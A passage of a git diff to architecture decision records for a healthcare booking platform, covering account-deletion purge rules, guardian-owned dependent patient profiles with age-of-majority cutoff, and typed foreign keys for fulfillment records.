loudly instead of +taking the clinical identity anchor with it. +`Appointment.patientProfileId` and `PaymentIntent.patientProfileId` are +already RESTRICT; they're now written as explicit `onDelete: Restrict` in +`schema.prisma` so the intent can't be lost to a default changing. Doctor +and facility cascades are deliberately not changed: no deletion flow exists +for those roles, their clinical/payment references are already RESTRICT, +and changing them is a separate decision for whoever designs those flows. + +### Scheduled purge + +An interval job (`src/jobs/account-purge.ts`; plain interval, per +ARCHITECTURE_ESSENTIALS) hard-deletes **tombstones only**: an anonymised +patient whose profile has no retained records (no appointment, payment +intent, prescription, lab order, referral or access-log row, checked through +each module's service via `src/retention-holds.ts`), +once `ACCOUNT_PURGE_GRACE_HOURS` (default 24) has passed since deletion. +The grace period is operational, not legal. It lets requests already in +flight under a still-valid access token finish before the row disappears. + +- It never deletes clinical/order/payment rows. With the retention period + open, nothing it could delete is a record of care. +- It is race-safe. Holds are checked first, and the delete itself is + backstopped by the RESTRICT foreign keys, so a record that appeared + between the check and the delete makes the delete fail. That account is + skipped, never cascaded. +- It is idempotent. It works only on rows where `anonymizedAt`/`deletedAt` + are already set, and re-running it finds nothing new. +- Logs carry counts and error types only, never ids paired with personal + fields, and never error messages. + +When a legal retention period is decided, the purge is where it goes: a +per-category age check before a record type stops counting as a hold. That +is a follow-up, not something this ADR pre-builds. + +## Open decision (not resolved here) + +- **How long clinical, order and payment records are kept after deletion**, + per jurisdiction (e.g. NDPR in Nigeria; medical-record retention rules). + Until it's decided they're kept indefinitely, which is the + safe direction for clinical safety and the reversible one: a record kept + too long can still be deleted later, a record deleted too early can't be + recovered. Confirmed with the maintainer for #41. +- Residual personal data inside clinical free text (above). + +## Consequences + +- `DELETE /patients/me` requires the current password. A failed confirmation + counts against the account's login-throttle bucket, so a stolen access + token can't be used to brute-force the password through this route. +- Access tokens are stateless JWTs with a 15-minute TTL, and there's no + revocation list (issue #18). After deletion the token still passes + `authenticate` until it expires, but every patient route refuses it + (anonymised profile), booking/payments refuse it (no verified email), and + refresh refuses the session (`deletedAt`). Nothing personal is reachable + through it. +- Anonymisation is irreversible. There's no undo and no "restore my + account". The old address can sign up again as a brand-new, empty account. diff --git a/docs/adr/0011-guardian-dependent-profiles.md b/docs/adr/0011-guardian-dependent-profiles.md index 470720b4..fd01576b 100644 --- a/docs/adr/0011-guardian-dependent-profiles.md +++ b/docs/adr/0011-guardian-dependent-profiles.md @@ -1,163 +1,163 @@ -# ADR 0011: Dependents are guardian-owned patient profiles, created (never linked) by the guardian; access ends at the age of majority - -Status: Proposed (issue #42). Becomes Accepted when the implementing PR merges. - -## Context - -PRD Β§8.2.5 lists "minor/dependent patients β€” booking on behalf of a child or -dependent; consent and account ownership model undefined" as an open edge -case. The Phase 1 schema has a placeholder for it, -`PatientProfile.guardianUserId`: a nullable string with no foreign key and a -comment saying not to build on it. Repository check: no code reads or writes -it, so there's no existing data model to preserve. - -Today a `PatientProfile` is 1:1 with a login (`userId` required and unique), -and booking always books for the caller's own profile -(`appointments/services` `bookSlot`). - -Paediatric visits are a large share of hospital care, so the product needs a -real ownership model before launch. Two shapes were considered: - -1. **Guardian-owned dependent profiles.** A dependent is a `PatientProfile` - with no login of its own, owned by the guardian through an explicit - guardianship relation. -2. **Separate accounts, linked later.** The dependent has their own `User`, - and a guardian link needs consent from both sides. - -Option 2 is a poor fit for young children, who don't have an email address -or a password. Worse, a "link to an existing patient" operation is exactly -the kind of request that lets one user reach another person's records. It -needs identity proofing this platform doesn't have. - -The model choice and the age-of-majority behaviour were confirmed with the -maintainer before implementation. - -## Decision - -### Ownership and representation - -- A **dependent** is a `PatientProfile` whose `userId` is **null**. It has no - login and can't authenticate. -- Guardianship is a row in a new **`Guardianship`** table: - `guardianUserId β†’ User` and `dependentProfileId β†’ PatientProfile`, both - real foreign keys (`ON DELETE RESTRICT`), plus `createdAt` and - `revokedAt`. It's unique on `(guardianUserId, dependentProfileId)`, so - there can't be duplicate or ambiguous rows for one pair. The model allows - more than one guardian per dependent (two parents) for later. v1's API - only ever creates one, for the guardian who created the profile. -- The bare `PatientProfile.guardianUserId` string is **dropped**. The - migration refuses to run if any row has a value (none should; no code ever - wrote one), so an operator decides rather than the migration silently - discarding or reinterpreting data. -- A database `CHECK` keeps a login-less profile from existing without a - date of birth (`"userId" IS NOT NULL OR "dateOfBirth" IS NOT NULL`). The - majority rule below depends on it. - -### How guardianship is created and verified - -- **Create-only.** `POST /patients/me/dependents` creates a *new* dependent - profile and the guardianship together, in one transaction. There is **no - operation that links an existing profile or account** to a guardian. The - request schema is strict and rejects unknown fields such as `userId` or - `patientProfileId`. So the feature can't be used to get access to anyone - else's records. A guardian can only ever see data they created on the - dependent's behalf, plus the care that follows from bookings they made. -- **Only patients can be guardians** (`requireRole('patient')`), with a - verified email (`requireVerifiedEmail`, the same bar as booking). -- **Guardianship is self-asserted in v1.** There's no document or identity - check. That's acceptable here only because of create-only: asserting - guardianship of a child gives access to nothing that already exists. Real - verification (e.g. at a facility desk) is future work and is listed under - open decisions. -- The dependent must be **under the age of majority at creation**, and the - DOB can't be in the future. An adult creates their own account. - -### What a guardian can access - -While the guardianship is **active** (see below), the guardian can: - -- list the dependent (`GET /patients/me/dependents`: id, name, DOB, created - date and nothing else); -- book an appointment for them (`POST /appointments` with - `patientProfileId`); -- list the dependent's appointments (`GET /appointments/mine?patientProfileId=`). - -Those are the only dependent-scoped surfaces that exist today. When later -phases add intake, consultation notes, orders or exports, each must -authorise through the same check, `patientsService.resolveActingProfile`, -and decide in its own ADR or PR whether guardians see it. PRD Β§7's privacy -rule applies: intake and consultation notes go to "the patient, the -treating doctor(s), the fulfilling facility". For a minor, that patient is -represented by their guardian. - -A guardian never gains access to another guardian's dependent. Any -`patientProfileId` that isn't the caller's own profile or an active -dependent of theirs is refused **before** anything else happens. The answer -is `404` when the caller has no relationship to the profile at all (no -enumeration), and `403 GUARDIANSHIP_INACTIVE` when they did and it has -ended. - -### Age of majority - -- `AGE_OF_MAJORITY_YEARS` is configurable, **default 18**. It's evaluated in - UTC on the calendar date: a person reaches majority at 00:00 UTC on their - Nth birthday. Someone born on 29 February reaches it on 1 March in a - non-leap year. -- Guardian access **ends automatically** on that date. It's checked at - request time from the DOB, so no job has to run and there's no window - where a stale flag still grants access. The dependent drops out of the - guardian's list, and booking for them is refused with - `GUARDIANSHIP_INACTIVE`. -- The profile and all its clinical history are **kept unchanged**. Nothing - is deleted or moved at majority. -- The now-adult **claiming** that profile as their own account (attaching a - login to `userId`, with appropriate verification) is **not built here**. - It's a follow-up issue. Until then, the profile is reachable by nobody but - the treating doctors who already see its appointments. - -### Revocation - -A guardianship is inactive if **either** `revokedAt` is set **or** the -dependent has reached majority. `revokedAt` exists in the model and every -check honours it. v1 doesn't expose a revoke endpoint: guardian -relinquishment and admin revocation (e.g. a court order) are follow-ups -that only need to set it. Revocation is always a soft end (`revokedAt`), -never a delete, so who had access and when stays on record. - -### Privacy and clinical history - -- Dependents' records are ordinary patient records. Appointments reference - the dependent's own `PatientProfile`, never the guardian's, so a child's - history stays the child's even when guardianship ends or changes. -- `Guardianship` rows are never deleted. The FKs are RESTRICT, so neither the - guardian's user nor the dependent's profile can be hard-deleted out from - under the relation. -- A guardian deleting their own account (issue #41, ADR 0010) revokes all - their guardianships in the same transaction as the anonymisation. The - dependents' profiles and records are untouched (they're the dependents'), - and the revoked rows stay as the record of who had access. A deleted - account also acts for no one through `resolveActingProfile`, even while - its access token is still valid, and the account purge holds the - guardian's tombstone while those rows exist (retention hold - `guardianships`). - -## Open decisions (not resolved here) - -- How guardianship is verified beyond self-assertion. That's needed before - any feature lets a guardian see data they didn't create. -- The majority claim flow, and whether some care (e.g. adolescent sexual - health) should be hidden from a guardian *before* majority. That's a - jurisdiction-specific consent rule this ADR doesn't invent. -- Adding a second guardian, and the revoke endpoints. - -## Consequences - -- `PatientProfile.userId` becomes nullable. Everything that resolves "my - profile" still goes through `getMyPatientProfile(userId)`, which can never - return a dependent, since a dependent has no `userId`. -- `bookSlot` gains one authorisation step *before* its transaction: - resolving which profile the caller may act for. The transaction itself, - `claimOpenSlot`'s conditional `UPDATE` followed by the `Appointment` - insert, is unchanged, so the double-booking guarantee (ARCHITECTURE Β§5.1) - is unchanged. That's re-proven with a concurrent test that mixes a - guardian-for-dependent booking with self-bookings on one slot. +# ADR 0011: Dependents are guardian-owned patient profiles, created (never linked) by the guardian; access ends at the age of majority + +Status: Proposed (issue #42). Becomes Accepted when the implementing PR merges. + +## Context + +PRD Β§8.2.5 lists "minor/dependent patients β€” booking on behalf of a child or +dependent; consent and account ownership model undefined" as an open edge +case. The Phase 1 schema has a placeholder for it, +`PatientProfile.guardianUserId`: a nullable string with no foreign key and a +comment saying not to build on it. Repository check: no code reads or writes +it, so there's no existing data model to preserve. + +Today a `PatientProfile` is 1:1 with a login (`userId` required and unique), +and booking always books for the caller's own profile +(`appointments/services` `bookSlot`). + +Paediatric visits are a large share of hospital care, so the product needs a +real ownership model before launch. Two shapes were considered: + +1. **Guardian-owned dependent profiles.** A dependent is a `PatientProfile` + with no login of its own, owned by the guardian through an explicit + guardianship relation. +2. **Separate accounts, linked later.** The dependent has their own `User`, + and a guardian link needs consent from both sides. + +Option 2 is a poor fit for young children, who don't have an email address +or a password. Worse, a "link to an existing patient" operation is exactly +the kind of request that lets one user reach another person's records. It +needs identity proofing this platform doesn't have. + +The model choice and the age-of-majority behaviour were confirmed with the +maintainer before implementation. + +## Decision + +### Ownership and representation + +- A **dependent** is a `PatientProfile` whose `userId` is **null**. It has no + login and can't authenticate. +- Guardianship is a row in a new **`Guardianship`** table: + `guardianUserId β†’ User` and `dependentProfileId β†’ PatientProfile`, both + real foreign keys (`ON DELETE RESTRICT`), plus `createdAt` and + `revokedAt`. It's unique on `(guardianUserId, dependentProfileId)`, so + there can't be duplicate or ambiguous rows for one pair. The model allows + more than one guardian per dependent (two parents) for later. v1's API + only ever creates one, for the guardian who created the profile. +- The bare `PatientProfile.guardianUserId` string is **dropped**. The + migration refuses to run if any row has a value (none should; no code ever + wrote one), so an operator decides rather than the migration silently + discarding or reinterpreting data. +- A database `CHECK` keeps a login-less profile from existing without a + date of birth (`"userId" IS NOT NULL OR "dateOfBirth" IS NOT NULL`). The + majority rule below depends on it. + +### How guardianship is created and verified + +- **Create-only.** `POST /patients/me/dependents` creates a *new* dependent + profile and the guardianship together, in one transaction. There is **no + operation that links an existing profile or account** to a guardian. The + request schema is strict and rejects unknown fields such as `userId` or + `patientProfileId`. So the feature can't be used to get access to anyone + else's records. A guardian can only ever see data they created on the + dependent's behalf, plus the care that follows from bookings they made. +- **Only patients can be guardians** (`requireRole('patient')`), with a + verified email (`requireVerifiedEmail`, the same bar as booking). +- **Guardianship is self-asserted in v1.** There's no document or identity + check. That's acceptable here only because of create-only: asserting + guardianship of a child gives access to nothing that already exists. Real + verification (e.g. at a facility desk) is future work and is listed under + open decisions. +- The dependent must be **under the age of majority at creation**, and the + DOB can't be in the future. An adult creates their own account. + +### What a guardian can access + +While the guardianship is **active** (see below), the guardian can: + +- list the dependent (`GET /patients/me/dependents`: id, name, DOB, created + date and nothing else); +- book an appointment for them (`POST /appointments` with + `patientProfileId`); +- list the dependent's appointments (`GET /appointments/mine?patientProfileId=`). + +Those are the only dependent-scoped surfaces that exist today. When later +phases add intake, consultation notes, orders or exports, each must +authorise through the same check, `patientsService.resolveActingProfile`, +and decide in its own ADR or PR whether guardians see it. PRD Β§7's privacy +rule applies: intake and consultation notes go to "the patient, the +treating doctor(s), the fulfilling facility". For a minor, that patient is +represented by their guardian. + +A guardian never gains access to another guardian's dependent. Any +`patientProfileId` that isn't the caller's own profile or an active +dependent of theirs is refused **before** anything else happens. The answer +is `404` when the caller has no relationship to the profile at all (no +enumeration), and `403 GUARDIANSHIP_INACTIVE` when they did and it has +ended. + +### Age of majority + +- `AGE_OF_MAJORITY_YEARS` is configurable, **default 18**. It's evaluated in + UTC on the calendar date: a person reaches majority at 00:00 UTC on their + Nth birthday. Someone born on 29 February reaches it on 1 March in a + non-leap year. +- Guardian access **ends automatically** on that date. It's checked at + request time from the DOB, so no job has to run and there's no window + where a stale flag still grants access. The dependent drops out of the + guardian's list, and booking for them is refused with + `GUARDIANSHIP_INACTIVE`. +- The profile and all its clinical history are **kept unchanged**. Nothing + is deleted or moved at majority. +- The now-adult **claiming** that profile as their own account (attaching a + login to `userId`, with appropriate verification) is **not built here**. + It's a follow-up issue. Until then, the profile is reachable by nobody but + the treating doctors who already see its appointments. + +### Revocation + +A guardianship is inactive if **either** `revokedAt` is set **or** the +dependent has reached majority. `revokedAt` exists in the model and every +check honours it. v1 doesn't expose a revoke endpoint: guardian +relinquishment and admin revocation (e.g. a court order) are follow-ups +that only need to set it. Revocation is always a soft end (`revokedAt`), +never a delete, so who had access and when stays on record. + +### Privacy and clinical history + +- Dependents' records are ordinary patient records. Appointments reference + the dependent's own `PatientProfile`, never the guardian's, so a child's + history stays the child's even when guardianship ends or changes. +- `Guardianship` rows are never deleted. The FKs are RESTRICT, so neither the + guardian's user nor the dependent's profile can be hard-deleted out from + under the relation. +- A guardian deleting their own account (issue #41, ADR 0010) revokes all + their guardianships in the same transaction as the anonymisation. The + dependents' profiles and records are untouched (they're the dependents'), + and the revoked rows stay as the record of who had access. A deleted + account also acts for no one through `resolveActingProfile`, even while + its access token is still valid, and the account purge holds the + guardian's tombstone while those rows exist (retention hold + `guardianships`). + +## Open decisions (not resolved here) + +- How guardianship is verified beyond self-assertion. That's needed before + any feature lets a guardian see data they didn't create. +- The majority claim flow, and whether some care (e.g. adolescent sexual + health) should be hidden from a guardian *before* majority. That's a + jurisdiction-specific consent rule this ADR doesn't invent. +- Adding a second guardian, and the revoke endpoints. + +## Consequences + +- `PatientProfile.userId` becomes nullable. Everything that resolves "my + profile" still goes through `getMyPatientProfile(userId)`, which can never + return a dependent, since a dependent has no `userId`. +- `bookSlot` gains one authorisation step *before* its transaction: + resolving which profile the caller may act for. The transaction itself, + `claimOpenSlot`'s conditional `UPDATE` followed by the `Appointment` + insert, is unchanged, so the double-booking guarantee (ARCHITECTURE Β§5.1) + is unchanged. That's re-proven with a concurrent test that mixes a + guardian-for-dependent booking with self-bookings on one slot. diff --git a/docs/adr/0012-fulfillment-record-typed-order-fks.md b/docs/adr/0012-fulfillment-record-typed-order-fks.md index bac7cc51..daf821ad 100644 --- a/docs/adr/0012-fulfillment-record-typed-order-fks.md +++ b/docs/adr/0012-fulfillment-record-typed-order-fks.md @@ -1,222 +1,222 @@ -# ADR 0012: `FulfillmentRecord` keeps one table and drops the polymorphic order reference for two typed FKs - -Status: Accepted - -## Context - -ARCHITECTURE.md Β§6.1.3 has carried this since the Phase 0 sketch: - -> Polymorphic `FulfillmentRecord.order_id` (Β§4.7) β€” polymorphic FKs are a -> known footgun for referential integrity in Postgres. Needs either two -> separate tables (`PrescriptionFulfillment`, `LabOrderFulfillment`) or a -> check-constraint + application-level guard. **Current schema sketch is a -> simplification that should be revisited before implementation**, not -> treated as final. - -Β§6.3.1 flags the same model from the other direction β€” the polymorphic design -may itself be a premature abstraction, and "two small, boring, separate tables -might beat one clever polymorphic one at this stage". Issue #13 asks for the -decision before Phase 5's facility work (#14 facility matching, #15 fulfillment -UI, #16 lab-result attachment) builds on an undecided data shape. - -What the model actually looked like when this ADR was written: a Phase 0 -placeholder β€” `orderType String` + `orderId String`, no foreign keys of any -kind, `// TODO: facilityId`, and **no code path anywhere in `backend/src` that -ever writes or reads it**. So this is a design decision, not a migration of -live data. - -Constraints that shaped it: - -- **Β§5.3 step 5 is the invariant that matters.** An order's `status` reaches - `fulfilled` *only* through a facility confirming its own fulfillment row. - Neither patient nor doctor can self-mark it. The shape must make "which row - may this facility touch, and what happens next" a single, locatable rule. -- **Hard rule 5** (ARCHITECTURE_ESSENTIALS.md): a facility writes only to its - own `FulfillmentRecord`. That requires the row to name its facility β€” - Β§4.7's `facility_id` and the schema's `TODO` are the same missing column. -- **Hard rule 1**: `Prescription`/`LabOrder` are immutable after issuance, so - fulfillment state must live outside them. That part of Β§4.7's design note is - not up for reconsideration here. -- **ADR 0010**: clinical rows must not be reachable by a cascade that deletes - them. Whatever the shape, its FKs are `RESTRICT`, not `CASCADE`. -- **Postgres cannot express the polymorphic pair.** A `CHECK` can constrain a - column's *value* (`orderType IN ('prescription','lab_order')`), but it - cannot make `orderId` reference `Prescription` when `orderType` says so and - `LabOrder` otherwise. The "check-constraint + application-level guard" - option in Β§6.1.3 therefore still permits a row pointing at an order that - does not exist β€” the exact failure the item was filed against. -- **This schema already resolved the identical problem once.** Issue #85 - replaced `PaymentIntent`'s `orderType`/`orderId` pair with nullable - `prescriptionId`/`labOrderId` FKs, a `UNIQUE` on each, and a - `PaymentIntent_exactly_one_order_check` requiring exactly one. One schema - solving the same polymorphism two different ways is its own smell. - -## Decision - -**`FulfillmentRecord` stays a single table. It stops being polymorphic.** -`orderType` and `orderId` are dropped and replaced by two real foreign keys β€” -`prescriptionId` and `labOrderId`, each nullable, each `UNIQUE` β€” with a -PostgreSQL `CHECK` requiring exactly one of them. `facilityId` becomes a real -FK, resolving Β§4.7's `TODO`. The model keeps its name; Β§4.7's separation -rationale (a facility's operational status never writes the clinical order -row) is unchanged. - -```prisma -model FulfillmentRecord { - id String @id @default(uuid()) - prescriptionId String? @unique - labOrderId String? @unique - facilityId String - status FulfillmentStatus @default(pending) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - prescription Prescription? @relation(fields: [prescriptionId], references: [id], onDelete: Restrict) - labOrder LabOrder? @relation(fields: [labOrderId], references: [id], onDelete: Restrict) - facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Restrict) - - @@index([facilityId, status]) -} -``` - -At the database level, alongside the three `RESTRICT` FKs: - -```sql -CREATE UNIQUE INDEX "FulfillmentRecord_prescriptionId_key" ON "FulfillmentRecord"("prescriptionId"); -CREATE UNIQUE INDEX "FulfillmentRecord_labOrderId_key" ON "FulfillmentRecord"("labOrderId"); -ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_exactly_one_order_check" - CHECK (("prescriptionId" IS NOT NULL) <> ("labOrderId" IS NOT NULL)); -``` - -`FulfillmentStatus` (`pending | in_progress | fulfilled | rejected`) is -unchanged β€” the enum was never the problem; the untyped reference was. - -In `PaymentIntent`'s image, deliberately: same discriminator mechanism, same -constraint names, same `RESTRICT` posture. What Β§6.1.3 called "a -check-constraint + application-level guard" is *not* what this is β€” the CHECK -here picks between two columns that are each a real foreign key, so -referential integrity holds whichever way the discriminator falls. - -## Why one table rather than two - -- **The invariant lives in exactly one place.** Β§5.3 step 5 becomes one - transition, not two parallel implementations that can drift apart: a - conditional update scoped to the caller's own facility - (`UPDATE ... SET status = 'fulfilled' WHERE id = ? AND facilityId = ? AND - status <> 'fulfilled'`), followed inside the same transaction by the order's - `status` write through the orders module's service. Split in two, every - future rule added to that transition β€” the audit row owed by Β§6.2.4, the - escrow-release trigger Phase 5.5 still waits for, the notification trigger - Phase 6 will add β€” has to be written, reviewed and tested twice. AGENTS.md's - rule is to prefer the boring option around data mutability; here boring and - single-implementation happen to be the same thing. -- **The facility's assigned-orders queue is one query.** `WHERE "facilityId" = - ? AND "status" IN (...) ORDER BY "createdAt"` over one table, with the - `(facilityId, status)` index. Two tables force either a `UNION ALL` of two - shaped-alike subqueries or two paginated fetches merged in application code - β€” and pagination is the sharp edge: correct cross-table paging means a - keyset cursor over `(createdAt, id)` rebuilt by hand, because `OFFSET` over a - merged list is wrong. That is *more* machinery than the polymorphism it - removes, and it is precisely the "duplicating logic" the issue warns about. -- **The two forms do not diverge in their data.** What a fulfillment *is* β€” a - facility, a status, timestamps, one order β€” is identical for a prescription - and a lab order. The lab-specific payload lives in `LabResult` already - (Β§4.6), which keeps its own `labOrderId`/`fulfillingFacilityId` pair; #16 - attaches results there and needs no new column on the fulfillment row. A - split would be justified by divergent fields or divergent lifecycles, and - neither exists today. -- **Consistency with `PaymentIntent`.** Two solutions to one problem means - every future reader has to learn both and remember which table uses which. -- **Reversibility, stated honestly.** The table has no rows and no readers - yet, so this is a cheap decision to make now and would have been an expensive - one after #15 and #16 shipped. It is *not* cheap after that; the second - table would have to be introduced with its own migration and a - one-fulfillment-per-order constraint spanning both. - -Rejected alternatives: - -- **Split into `PrescriptionFulfillment` / `LabOrderFulfillment`.** Real FKs - and NOT NULL on the order reference (the one genuine gain: the discriminator - becomes a column-level guarantee instead of a table-level CHECK), at the - price of two copies of every transition rule, a hand-rolled union for the - facility queue, and a second answer to a question this schema already - answered. Not worth it for two forms that share every field. -- **Keep `orderType` + `orderId`, add a CHECK and an application guard** β€” - the literal option Β§6.1.3 offered. Rejected because the CHECK only validates - the *label*; `orderId` stays a bare `TEXT` with no FK, so a fulfillment can - still point at a nonexistent or wrong-typed order, and the only thing - standing between that and corrupt clinical history is application code. A - dangling `orderId` on a row whose order was deleted (or never existed) is - exactly the bug class Β§6.1.3 names; hard rule 4 (module-boundary purity) - means the guard cannot even be a join the database checks for you. -- **A `VIEW` over two split tables**, to keep one facility query β€” adds a - schema object Prisma cannot map as a model (v7 has no view support), so it - gets read with `$queryRaw` anyway: the union survives, plus a hand-maintained - projection that silently breaks whenever a column is added. -- **Table-per-kind with a shared `Fulfillment` parent (JOI/CTI inheritance).** - Postgres has no native table inheritance worth using here; a join to read a - status is the ceremony Β§6.3 exists to prevent. - -## Consequences - -- **Where the columns live:** `backend/prisma/schema.prisma` Β§4.7 model, with - back-relations on `Prescription` (`fulfillment`), `LabOrder` (`fulfillment`) - and `FacilityProfile` (`fulfillments`). Migration: - `backend/prisma/migrations/*_fulfillment_record_typed_order_fks/migration.sql`. - It drops the two placeholder columns and aborts if the old table has any - rows: a `(orderType, orderId)` pair that was never validated cannot be - reinterpreted as a typed reference without a human, so the migration refuses - rather than guesses (same posture as #9's placeholder guard). -- **Reading the order type.** Code branches on which FK is non-null - (`row.prescriptionId ? 'prescription' : 'lab_order'`) instead of reading a - stored label. No `OrderType` enum returns β€” there was an `OrderTypeForPayment` - enum in the payments sketch, dropped in #85, and nothing here needs it back. -- **One fulfillment per order, permanently, in v1.** The `UNIQUE` on each - column is the guarantee. Consequence, not papered over: a facility that - `reject`s an order cannot be swapped for another facility by creating a - second row β€” re-routing after rejection needs a partial unique index - (`WHERE status NOT IN ('fulfilled','rejected')`), which Prisma cannot declare - and which nobody has asked for yet. A `rejected` order follows the path - already built: its payment intent is refunded (Phase 5.5, `POST - /payments/intents/:id/refund`), and a corrected order is a *new* - `Prescription`/`LabOrder` row via `supersedes_*_id` β€” which, being a new row, - gets its own new fulfillment. Deferred until a real workflow needs it; - revisit triggers are #15's reject path and #12's order-expiry work. -- **`facilityId` is denormalised, and deliberately so.** The order already - names its facility at issuance (`Prescription.facilityProfileId` / - `LabOrder.facilityProfileId`), so the fulfillment row copies it rather than - deriving it: the facility queue must filter on the fulfillment table to be - indexable, and hard rule 5 needs ownership on the row the facility writes. - The invariant "`record.facilityId` equals its order's `facilityProfileId`" is - enforced by the creating service (#14), which copies it in the issuance - transaction, and by the confirming service (#15), which never re-points it. A - DB trigger could enforce it across tables; rejected as too clever for an - invariant with exactly one writer β€” the same reasoning AGENTS.md's "prefer - the boring solution … around data mutability" rule applies to. If it ever - breaks, the correct fix is the transition function, not a second enforcement - point. -- **Retention: nothing here is deletable by cascade.** All three FKs are - `RESTRICT`, so deleting an order or a facility account cannot silently erase - the fulfillment trail, and `FacilityProfile`'s `Cascade` from `User` (Phase 1) - stops at the fulfillment row instead of propagating into it. The model has no - direct patient FK β€” ADR 0010's rule applies to clinical rows that *gain* one; - a fulfillment inherits its patient through the order, whose - `patientProfileId` is already `RESTRICT` and already covered by the orders - module's retention hold (`src/retention-holds.ts`). No new hold is required, - and this ADR does not add one. -- **What Phase 5's remaining issues get from this:** #14 creates the row - (`pending`) when a qualified facility is selected, and owns the - capabilityβ†’facility check; #15 implements the transition function above and - is the only code path that may set `fulfilled` β€” the endpoint that marks the - order fulfilled, and the audit event that records it (Β§6.2.4 still owes the - Phase 4/5 transitions); #16 attaches `LabResult` through its existing table. - Phase 5.5's escrow release then triggers off `status == 'fulfilled'` on this - table, which is the seam ADR 0004 says the admin-triggered release is an - interim for. -- **No API surface or service code changes here.** The model has no readers - yet, so this decision ships as schema + documentation; the first behavior - lands with #14. -- **Docs updated in this change:** ARCHITECTURE.md Β§4.7 (the sketch becomes - what was built), Β§6.1.3 and Β§6.3.1 marked resolved, ARCHITECTURE_ESSENTIALS.md's - data-model map and "Known unresolved design gaps", ROADMAP.md Phase 5's - prerequisite item. +# ADR 0012: `FulfillmentRecord` keeps one table and drops the polymorphic order reference for two typed FKs + +Status: Accepted + +## Context + +ARCHITECTURE.md Β§6.1.3 has carried this since the Phase 0 sketch: + +> Polymorphic `FulfillmentRecord.order_id` (Β§4.7) β€” polymorphic FKs are a +> known footgun for referential integrity in Postgres. Needs either two +> separate tables (`PrescriptionFulfillment`, `LabOrderFulfillment`) or a +> check-constraint + application-level guard. **Current schema sketch is a +> simplification that should be revisited before implementation**, not +> treated as final. + +Β§6.3.1 flags the same model from the other direction β€” the polymorphic design +may itself be a premature abstraction, and "two small, boring, separate tables +might beat one clever polymorphic one at this stage". Issue #13 asks for the +decision before Phase 5's facility work (#14 facility matching, #15 fulfillment +UI, #16 lab-result attachment) builds on an undecided data shape. + +What the model actually looked like when this ADR was written: a Phase 0 +placeholder β€” `orderType String` + `orderId String`, no foreign keys of any +kind, `// TODO: facilityId`, and **no code path anywhere in `backend/src` that +ever writes or reads it**. So this is a design decision, not a migration of +live data. + +Constraints that shaped it: + +- **Β§5.3 step 5 is the invariant that matters.** An order's `status` reaches + `fulfilled` *only* through a facility confirming its own fulfillment row. + Neither patient nor doctor can self-mark it. The shape must make "which row + may this facility touch, and what happens next" a single, locatable rule. +- **Hard rule 5** (ARCHITECTURE_ESSENTIALS.md): a facility writes only to its + own `FulfillmentRecord`. That requires the row to name its facility β€” + Β§4.7's `facility_id` and the schema's `TODO` are the same missing column. +- **Hard rule 1**: `Prescription`/`LabOrder` are immutable after issuance, so + fulfillment state must live outside them. That part of Β§4.7's design note is + not up for reconsideration here. +- **ADR 0010**: clinical rows must not be reachable by a cascade that deletes + them. Whatever the shape, its FKs are `RESTRICT`, not `CASCADE`. +- **Postgres cannot express the polymorphic pair.** A `CHECK` can constrain a + column's *value* (`orderType IN ('prescription','lab_order')`), but it + cannot make `orderId` reference `Prescription` when `orderType` says so and + `LabOrder` otherwise. The "check-constraint + application-level guard" + option in Β§6.1.3 therefore still permits a row pointing at an order that + does not exist β€” the exact failure the item was filed against. +- **This schema already resolved the identical problem once.** Issue #85 + replaced `PaymentIntent`'s `orderType`/`orderId` pair with nullable + `prescriptionId`/`labOrderId` FKs, a `UNIQUE` on each, and a + `PaymentIntent_exactly_one_order_check` requiring exactly one. One schema + solving the same polymorphism two different ways is its own smell. + +## Decision + +**`FulfillmentRecord` stays a single table. It stops being polymorphic.** +`orderType` and `orderId` are dropped and replaced by two real foreign keys β€” +`prescriptionId` and `labOrderId`, each nullable, each `UNIQUE` β€” with a +PostgreSQL `CHECK` requiring exactly one of them. `facilityId` becomes a real +FK, resolving Β§4.7's `TODO`. The model keeps its name; Β§4.7's separation +rationale (a facility's operational status never writes the clinical order +row) is unchanged. + +```prisma +model FulfillmentRecord { + id String @id @default(uuid()) + prescriptionId String? @unique + labOrderId String? @unique + facilityId String + status FulfillmentStatus @default(pending) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + prescription Prescription? @relation(fields: [prescriptionId], references: [id], onDelete: Restrict) + labOrder LabOrder? @relation(fields: [labOrderId], references: [id], onDelete: Restrict) + facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Restrict) + + @@index([facilityId, status]) +} +``` + +At the database level, alongside the three `RESTRICT` FKs: + +```sql +CREATE UNIQUE INDEX "FulfillmentRecord_prescriptionId_key" ON "FulfillmentRecord"("prescriptionId"); +CREATE UNIQUE INDEX "FulfillmentRecord_labOrderId_key" ON "FulfillmentRecord"("labOrderId"); +ALTER TABLE "FulfillmentRecord" ADD CONSTRAINT "FulfillmentRecord_exactly_one_order_check" + CHECK (("prescriptionId" IS NOT NULL) <> ("labOrderId" IS NOT NULL)); +``` + +`FulfillmentStatus` (`pending | in_progress | fulfilled | rejected`) is +unchanged β€” the enum was never the problem; the untyped reference was. + +In `PaymentIntent`'s image, deliberately: same discriminator mechanism, same +constraint names, same `RESTRICT` posture. What Β§6.1.3 called "a +check-constraint + application-level guard" is *not* what this is β€” the CHECK +here picks between two columns that are each a real foreign key, so +referential integrity holds whichever way the discriminator falls. + +## Why one table rather than two + +- **The invariant lives in exactly one place.** Β§5.3 step 5 becomes one + transition, not two parallel implementations that can drift apart: a + conditional update scoped to the caller's own facility + (`UPDATE ... SET status = 'fulfilled' WHERE id = ? AND facilityId = ? AND + status <> 'fulfilled'`), followed inside the same transaction by the order's + `status` write through the orders module's service. Split in two, every + future rule added to that transition β€” the audit row owed by Β§6.2.4, the + escrow-release trigger Phase 5.5 still waits for, the notification trigger + Phase 6 will add β€” has to be written, reviewed and tested twice. AGENTS.md's + rule is to prefer the boring option around data mutability; here boring and + single-implementation happen to be the same thing. +- **The facility's assigned-orders queue is one query.** `WHERE "facilityId" = + ? AND "status" IN (...) ORDER BY "createdAt"` over one table, with the + `(facilityId, status)` index. Two tables force either a `UNION ALL` of two + shaped-alike subqueries or two paginated fetches merged in application code + β€” and pagination is the sharp edge: correct cross-table paging means a + keyset cursor over `(createdAt, id)` rebuilt by hand, because `OFFSET` over a + merged list is wrong. That is *more* machinery than the polymorphism it + removes, and it is precisely the "duplicating logic" the issue warns about. 